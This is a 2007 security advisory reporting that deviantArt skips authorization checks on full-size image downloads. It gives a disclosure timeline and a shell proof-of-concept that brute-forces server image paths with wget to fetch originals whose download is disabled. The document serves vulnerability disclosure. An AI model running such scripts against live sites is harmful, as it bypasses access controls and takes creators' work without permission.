Security Advisory ----------------- Title: deviantArt does not check authorization for image download Risk Rating: High Platforms: Any Author: Timothy Redaelli <[EMAIL PROTECTED]> Date: 27-06-2007
Overview -------- deviantArt does not apply any type of authorization checking for full-size image download. Details ------- It is possibile to download the full-size (as uploaded) image also if the Download button is disabled. Proof of Concept ---------------- #!/bin/sh # Copyright (c) 2007 Timothy Redaelli <[EMAIL PROTECTED]> URL=$1 download() { wget -U "" -nv "$@" } parse() { wget -U "" http://www.deviantart.com/download/"$URL"/ && exit 0 URLS=$(wget -qU "" -O - http://www.deviantart.com/deviation/"$URL"/ | fgrep 'deviantART.pageData' | sed -e 's/^.*"fullview": {[^}]*"\(http[^"]*\).*$/\1/' -e 's/\\//g' | awk -F / '{for (i = 0; i <= 0xF; i++) for (j = 0; j <= 0xF; j++) printf "http://69.28.181.52/%s/f/%s/%s/%x/%x/%s\n", $4, $6, $7, i, j, $10}') } parse "$1" echo "$URLS" | while read x; do download "$x" && exit 0 done Timeline -------- Mar 26, 2007 -- Bug discovery. Mar 27, 2007 -- Contact deviantArt, no reply. Jun 26, 2007 -- Recontact deviantArt, still no reply. Jun 27, 2007 -- Bug published. Credits ------- * Timothy Redaelli <[EMAIL PROTECTED]> -- Timothy Redaelli http://timothyredaelli.wordpress.com/
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